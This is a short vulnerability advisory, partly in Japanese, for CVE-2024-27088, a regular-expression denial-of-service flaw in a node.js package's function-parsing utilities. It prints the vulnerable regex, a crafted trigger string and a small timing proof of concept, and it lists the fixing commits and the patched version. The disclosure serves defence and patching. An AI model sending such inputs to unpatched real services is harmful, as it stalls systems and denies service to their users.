CVE-2024-27088
Feb 26, 2024
ReDoS in node.js package
rebobプロジェクトの一環
/^\sfunction\s([\0-')-\uffff]+)\s(([\0-(-\uffff]))\s*{/
この脆弱性は、括弧のバランスが崩れている場合に悪用される可能性があり、過剰なバックトラッキングが発生し、CPU負荷と処理時間が大幅に増加します。この脆弱性は以下の入力を使用してトリガーできます:
'function{' + 'n'.repeat(31) + '){'
以下は問題を示す簡単なPoCコードです:
const protocolre = /^\sfunction\s([\0-')-\uffff]+)\s(([\0-(-\uffff]))\s*{/;
const startTime = Date.now();
const maliciousInput = 'function{' + 'n'.repeat(31) + '){'
protocolre.test(maliciousInput);
const endTime = Date.now();
console.log("process time: ", endTime - startTime, "ms");
Impact
Passing functions with very long names or complex default argument names into function#copy orfunction#toStringTokens may put script to stall
Patches Fixed with 3551cdd and a52e957 Published with v0.10.63
Workarounds No real workaround aside of refraining from using above utilities.